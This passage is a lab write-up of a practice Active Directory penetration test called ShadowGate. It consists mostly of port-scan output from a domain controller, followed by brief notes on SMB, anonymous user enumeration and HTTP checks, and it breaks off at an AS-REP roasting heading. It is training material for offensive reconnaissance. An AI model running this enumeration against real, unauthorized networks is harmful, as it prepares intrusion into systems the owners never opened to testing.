> For the complete documentation index, see [llms.txt](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackhunter-hacking.gitbook.io/hackhunter-hacking/hack-smarter-labs/shadowgate-active-directory.md).

# ShadowGate - Active Directory

Easy Rated - Hack Smarter Labs

## Objective

* ShadowGate recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity. The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.
* The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.

## Initial Scan

### RustScan

{% code overflow="wrap" expandable="true" %}

```
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 126 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-05-22 16:39:03Z)
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T01:10:24
| Not valid after:  2027-01-15T01:10:24
| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6
| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390
| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv
| dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw
| MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx
| OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf
| 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66
| HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m
| wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M
| OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID
| OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC
| PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw
| gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt
| Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0
| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk
| YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy
| MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93
| LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U
| /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G
| CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx
| Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S
| xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND
| Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo
| D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC
| Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4
| yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T01:10:24
| Not valid after:  2027-01-15T01:10:24
| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6
| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390
| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv
| dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw
| MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx
| OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf
| 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66
| HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m
| wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M
| OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID
| OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC
| PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw
| gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt
| Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0
| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk
| YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy
| MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93
| LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U
| /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G
| CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx
| Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S
| xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND
| Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo
| D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC
| Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4
| yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T01:10:24
| Not valid after:  2027-01-15T01:10:24
| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6
| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390
| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv
| dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw
| MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx
| OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf
| 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66
| HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m
| wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M
| OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID
| OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC
| PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw
| gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt
| Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0
| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk
| YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy
| MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93
| LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U
| /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G
| CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx
| Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S
| xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND
| Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo
| D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC
| Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4
| yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Issuer: commonName=shadow-DC01-CA/domainComponent=shadow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-15T01:10:24
| Not valid after:  2027-01-15T01:10:24
| MD5:     5d22 4c5c 3d19 1ae9 d19a 2cf8 345d 14f6
| SHA-1:   2db8 b2b4 3549 bb0d 519f 1e00 845d 0531 b9fe 3390
| SHA-256: e948 65d7 b039 fa26 3f30 bc23 e7b0 f0b7 6a9d 53a8 4c51 06cf 019e 3d37 353b 2e90
| -----BEGIN CERTIFICATE-----
| MIIGLDCCBRSgAwIBAgITIAAAAALNftOUa+rjsQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBHMRQwEgYKCZImiZPyLGQBGRYEZ2F0ZTEWMBQGCgmSJomT8ixkARkWBnNoYWRv
| dzEXMBUGA1UEAxMOc2hhZG93LURDMDEtQ0EwHhcNMjYwMTE1MDExMDI0WhcNMjcw
| MTE1MDExMDI0WjAbMRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA13B8CclDqxx150amu6yGexpuN84itlRx
| OLPOipgyge8eTpq0Arf6q5xcT+Z7Uu88MlA3bqO/ItojOdqsIzNu5/fMua/XehGf
| 5rQt+8mBMB2xXvAHsWL7VqNn/um5l3E/Y2Pr+Jymz2WuTG9vX6Rl+A3YVHKtah66
| HYFehKPTYqkPNf2X3Vibqpt5cevDVyRwx2/0UOur/Ei3bKWWpQoj+daS4+iOJw2m
| wWWuX8BqVpDmabSkGtVW512yf/MjImn7B+k3jLsy+7VzOIcZUTONoGDisej8K6/M
| OL/gNpYog3vzChxkrQKmYKmhfg2C6bzrdtwN2jYJNePm7D0WAqHi5QIDAQABo4ID
| OzCCAzcwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBs
| AGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcN
| AwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsG
| CWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUDWth45jC
| PdpV2HnIB82YlBRUlHkwHwYDVR0jBBgwFoAUpde9tYfagDbkVkZnCfG8ZyT26kQw
| gckGA1UdHwSBwTCBvjCBu6CBuKCBtYaBsmxkYXA6Ly8vQ049c2hhZG93LURDMDEt
| Q0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049
| U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zaGFkb3csREM9Z2F0ZT9jZXJ0
| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgcAGCCsGAQUFBwEBBIGzMIGwMIGtBggrBgEFBQcwAoaBoGxk
| YXA6Ly8vQ049c2hhZG93LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUy
| MFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2hhZG93
| LERDPWdhdGU/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQBnKp+R8U
| /UyxrdaFzkq7O4IQREMwMS5zaGFkb3cuZ2F0ZTBOBgkrBgEEAYI3GQIEQTA/oD0G
| CisGAQQBgjcZAgGgLwQtUy0xLTUtMjEtMjQzNDkzOTMwLTExMTM0NjQ3MDUtMzAx
| Mjc3MTU4Ni0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQClHfokg9kQzxNj3VWsJ93S
| xr8m8cBGoug6iph+zatwNAYpw63dEMH5QzVs1ZSHLMu8MNiTIJzKQubKeiSRcUND
| Fgrk70B88l8fTLXn+sN2GCmZyokpe7jxPoQNiXuL/3hRMRHSey2eXGUSVy19+beo
| D1zh4yBxMukClNMXtf7mb0c8hCEW9kV7kwi36Kz+e1kwypfq9K7ftue8efTajlrC
| Ar/4RnwhpdeFPSfbwmxxefBEO5fchjx1TyabLkPhe337OzfHAqDfkwtDIIWR/mw4
| yVMj4J+ZfDZbkDXRP2fanJGo9LkuVnlACnH8qgrnyZh/bHrTPX7TbDjHYG8LMyI6
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Issuer: commonName=DC01.shadow.gate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-11T02:45:29
| Not valid after:  2026-07-13T02:45:29
| MD5:     c1b8 8999 75c0 ed7e bb91 6b09 ab01 b60c
| SHA-1:   b669 c177 f94f 3235 9df5 7bcc 3e1a 3acd 7a59 809b
| SHA-256: 0d89 f9d3 5021 e499 1767 0739 2a8a 55b6 fc3d ab85 e90e 3766 7194 eaa0 2edd 8e2e
| -----BEGIN CERTIFICATE-----
| MIIC5DCCAcygAwIBAgIQaGMHO22nXplKp6kYboKnRTANBgkqhkiG9w0BAQsFADAb
| MRkwFwYDVQQDExBEQzAxLnNoYWRvdy5nYXRlMB4XDTI2MDExMTAyNDUyOVoXDTI2
| MDcxMzAyNDUyOVowGzEZMBcGA1UEAxMQREMwMS5zaGFkb3cuZ2F0ZTCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAJplD3GgkllDV2cEhoRSjZ/hc6SxoPSi
| x0Irqo6WvbawJtq9gezcXHTTTa/tTSVCTXOhKgdlfleA3cQDY/CCiTFO35TrAw2r
| rJCdRMnU2PN93QzyxswIgq9B0VWxahZvEiDW7g88K/4gQGApTq8LhgIa+Bq5fWvf
| 5kCaiVRBoaH9y86nR0gZCGXyiV//kLg4lLNWaNjbc9EshjVmC2a2mPfD4eGlO/Kf
| k2JVBVo58V6CmQyKUZ4xa2V55BstNy1BcTruamPDtvfc4t8iIXSU4Bgw/eGVaSrp
| eaZ7liais6kiKOUQW28/Alyj5IjJlC+FoX042gHyhPwK+Emxx51HQCECAwEAAaMk
| MCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEB
| CwUAA4IBAQCSzZLSdQdyDKfmYED/AgHl4APvEyKUGE6MdkGWzEDHu626zsAnsG1o
| 4b5zIwMcK/tI2ihbGWzE6DsYxhyDoxAVy7O97PvC/ofuxn4NVQdNcg9naAKSZrSc
| Mz/UV9G+63iQNIPltAL5dsPQzideDN/k1dci7Jp+BH0anZ1kohO6w1PAgoMoxUrT
| 99veTHziBF1PjRshcphcfDategQOL8Ondn+BwbXfSdpGu+DLLy9LeKrOu8Ve7PB+
| x1L2wfiNMflj6ur3vS8TExb4pzZrqR0K11twkscMiHYQR4HuDGzH0vN9wP8PFOjW
| DR+QPslaqhxnw4KZk0pOuX4UljUY973z
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: SHADOW
|   NetBIOS_Domain_Name: SHADOW
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: shadow.gate
|   DNS_Computer_Name: DC01.shadow.gate
|   Product_Version: 10.0.20348
|_  System_Time: 2026-05-22T16:40:06+00:00
|_ssl-date: 2026-05-22T16:40:46+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
51642/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
51643/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
51655/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
51669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
51687/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
60896/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=5/22%OT=53%CT=%CU=%PV=Y%DS=3%DC=T%G=N%TM=6A108710%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=10A%TI=I%TS=A)
SEQ(SP=105%GCD=1%ISR=10B%TI=I%TS=A)
OPS(O1=M510NW8ST11%O2=M510NW8ST11%O3=M510NW8NNT11%O4=M510NW8ST11%O5=M510NW8ST11%O6=M510ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M510NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=N)

Uptime guess: 0.006 days (since Fri May 22 12:32:46 2026)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-05-22T16:40:07
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 39540/tcp): CLEAN (Timeout)
|   Check 2 (port 22540/tcp): CLEAN (Timeout)
|   Check 3 (port 45161/udp): CLEAN (Timeout)
|   Check 4 (port 59751/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
```

{% endcode %}

## Initial Enumeration

### SMB (445)

* I will start by checking to see if the guest user account is enabled, which we will see, it is disabled:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FPKfef4hbYMQFuJvcQz63%2Fimage.png?alt=media&amp;token=25496421-b66c-48c2-90ef-e0e4142543a3" alt=""><figcaption></figcaption></figure>

* I will now attempt to establish a NULL SMB session to see if we can gain entry that way. Attempting to list out the shares proves unfruitful:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F6BmZ7en97p7TwZjFooV4%2Fimage.png?alt=media&amp;token=da9e237d-7fe9-44a1-ab84-dd3af1522666" alt=""><figcaption></figcaption></figure>

* Using this resource <https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap\\_ad\\_dark\\_classic\\_2025.03.excalidraw.svg> we can attempt to anonymously list out the users. We see that this is allowed:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FqJhGKFNEGycHxxfYHw4q%2Fimage.png?alt=media&amp;token=4b3996ce-b215-4755-be19-5e1b292c954e" alt=""><figcaption></figcaption></figure>

### HTTP (80)

* HTTP enumeration shows the default IIS page:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FvSmH6TUsy7ezAHqzDiBh%2Fimage.png?alt=media&amp;token=daeb0d83-23eb-4a9e-98d9-75569aadd68a" alt=""><figcaption></figcaption></figure>

* vHost fuzzing and scanning for directories proved to be uneventful and did not turn up any results.

## AS-REP Roast Attempt

